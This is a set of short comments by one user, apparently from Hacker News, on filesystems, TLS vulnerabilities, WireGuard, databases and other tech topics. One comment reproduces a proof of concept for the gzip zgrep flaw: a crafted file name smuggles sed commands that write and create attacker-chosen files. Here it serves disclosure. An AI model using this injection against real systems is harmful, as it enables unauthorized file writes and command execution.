timdoug
Re:Happy birthday APFS, 7 years old today
on Wednesday March 27, 2024 @08:13AM (#39838019)
An absolutely impressive achievement. I echo sentiments seen in other HN threads recently -- "I'd never do in-place FS upgrades!" -- yet Apple pulled it off on billions of devices with zero fanfare. Folk have scores of stores about btrfs/ZFS/etc issues, I don't recall similarly for APFS?
Re:Urgent Upcoming OpenSSL release patches critical vulnerability
on Saturday October 29, 2022 @01:50AM (#33381348)
You’re right re: implementation —- I’m drawing a conclusion solely from the coordinated disclosure that it’s a similar crypto/TLS issue.
If the Go issues were distinct I’d imagine they’d choose a different day to disclose/release?
Re:Urgent Upcoming OpenSSL release patches critical vulnerability
on Saturday October 29, 2022 @01:40AM (#33381309)
I adore Go, but it seems to be impacted too: https://groups.google.com/g/golang-announce/c/dRtDK7WS78g
Re:Glibc and Dt_gnu_hash
on Sunday August 21, 2022 @10:19PM (#32546593)
For a different perspective of the same issue: https://news.ycombinator.com/item?id=32471624
(don't be fooled by the article's title, I regret I was the first time around)
Re:Arbitrary file write vulnerability in GNU gzip's zgrep utility
on Monday April 18, 2022 @05:18PM (#31076685)
This one's pretty cool, example below per gzip-1.12/tests/zgrep-abuse:
timdoug@box:~/gzip$ ls
timdoug@box:~/gzip$ touch z
timdoug@box:~/gzip$ echo test | gzip > 'z|
p
1s|.*|chosen-content|
1w hacked
etouch .\x2fhacked2
d
#
#'
timdoug@box:~/gzip$ zgrep test z*
ztest
timdoug@box:~/gzip$ ls hack*
hacked hacked2
timdoug@box:~/gzip$ cat hacked
chosen-content
timdoug@box:~/gzip$
Re:Tell HN: Cisco WebEx on OS X uses the same pre-installer tricks as ...
on Thursday April 09, 2020 @09:02AM (#22822097)
I'll throw in a plug for the tool I've written, unpkg: https://www.timdoug.com/unpkg/
Re:I made my own WireGuard VPN server
on Sunday August 05, 2018 @01:05AM (#17689784)
Earlier today I wrote some documentation on setting up WireGuard on macOS, it may be useful: https://www.timdoug.com/log/2018/08/04/#wireguard_macos
Happy to answer questions if anything's unclear.
Re:Drowning Doesn’t Look Like Drowning (2010)
on Monday May 28, 2018 @03:53PM (#17174450)
"Dry drowning is a term that has never had an accepted medical definition, and that is currently medically discredited."
Re:Dropbox’s Exodus from the Amazon Cloud
on Monday March 14, 2016 @03:55PM (#11285111)
As the SRE writing the blog post on disk lifecycle, I can confirm it amongst others are in flight. :)
Re:How Much Does It Cost to Make a Hit Song?
on Tuesday August 25, 2015 @04:24AM (#10115150)
Related: "The Manual (How to Have a Number One the Easy Way) is a 1988 book by The Timelords (Bill Drummond and Jimmy Cauty), better known as The KLF. It is a step by step guide to achieving a No.1 single with no money or musical skills, and a case study of the duo's UK novelty pop No. 1 'Doctorin' the Tardis'."
Re:Why Events Are A Bad Idea For High-Concurrency Servers (2003)
on Friday May 02, 2014 @01:21AM (#7684247)
A bit of historical context: this paper came out in 2003, the same year NPTL (in RH9) and Linux 2.6.0 (first stable kernel with epoll, 2.5.44 introduced it in 2002) were released.
Re:Why do Americans write the month before the day?
on Monday December 16, 2013 @04:35AM (#6913700)
It's an international standard: https://en.wikipedia.org/wiki/ISO_8601
Re:Websocket-based Tethering for iOS devices
on Wednesday July 03, 2013 @12:56AM (#5982581)
Nope -- I've had that exact app working like a charm across multiple devices and OS updates.
Re:Silicon Valley Funding Map
on Wednesday June 05, 2013 @11:56AM (#5826412)
Peninsula, Palo Alto, North Bay, and East Bay, I'd imagine.
Re:Status Board
on Wednesday April 10, 2013 @01:07AM (#5523325)
It's totally acceptable and very common: https://developer.apple.com/library/ios/#documentation/UIKit...
Re:Netty and the JVM meet OpenSSL to speed up connections
on Tuesday March 12, 2013 @06:32PM (#5365417)
What's the benefit of doing SSL/TLS in the application instead of using a dedicated terminator like stud?
Re:Linux cheat sheet
on Thursday March 07, 2013 @05:15PM (#5340718)
What's wrong with:
find . -type f -exec md5sum {} \;
Re:Full MAME emulator for non-jailbroken iOS
on Sunday February 10, 2013 @05:11PM (#5198171)
http://www.macroplant.com/iexplorer/ or http://i-funbox.com, for example.
Re:Hardening your Web Server's SSL Ciphers
on Tuesday February 05, 2013 @12:35PM (#5171928)
To be fair, that line does work everywhere; the unrecognized ciphers are just ignored. In fact, on my Debian VPS with OpenSSL 0.9.8 it results in the exact same list of ciphers as the Apache one given in the post ("openssl ciphers" on the command line is very useful).
May as well add the newer ones to get the support if you upgrade your SSL library without having to change your Apache/nginx/etc. conf.
Re:Hipmunk Launches Flight Deals
on Thursday January 17, 2013 @02:07PM (#5074484)
Love it. It would be nice to be able to subscribe to certain specific time frames, e.g., over the weekend; it's much easier to impulsively travel then while holding down a traditional full-time position. Nevertheless, subscribed!
Re:Ask HN: What unwanted domain names are you sitting on?
on Sunday January 06, 2013 @06:36PM (#5018262)
brocombinator.com -- anybody interested?
Re:Baldur's Gate: Enhanced Edition for the iPad
on Friday December 07, 2012 @07:19PM (#4889984)
It looks like it requires iOS 6, so I won't be able to play it on my 1st gen iPad. Sad times!
Re:F1, like soccer and the metric system, is OK for everyone except Am...
on Thursday November 29, 2012 @02:28PM (#4849749)
That latter video is one of my favorites on YouTube: Senna on Suzuka in an NSX wearing loafers! His skill is truly unmatched, but to be fair, heel-and-toeing is a rather common technique in performance driving. Hell, I do so to match revs on every 3->2 downshift before a corner when driving around town, and I wouldn't call myself a skilled driver.
Re:Inside Google Spanner, the Largest Single Database on Earth
on Monday November 26, 2012 @04:06PM (#4834025)
Re:MongoDB Gotchas and How To Avoid Them
on Monday November 05, 2012 @02:03PM (#4745219)
I can suggest the sadly deliberately undocumented (viz. src/mongo/db/db.cpp:719) "--nopreallocj" option, as well.
Re:Ask HN: What are the use cases for NFC outside of payments
on Sunday September 30, 2012 @02:22PM (#4593570)
'"What’d be cooler would be if you just pulled into the parking spot and walked away."'
Re:Progress on Progress Bars: Reincarnation?
on Wednesday August 15, 2012 @11:00AM (#4386261)
Re:How to put Encrypted Contents on Cloud Storages
on Monday July 30, 2012 @08:00PM (#4315334)
Well sure, but it's just zeroing free blocks; that's the same operation (with the same desired outcome) whether you're using the disk image in a virtual machine or as an encrypted loopback device.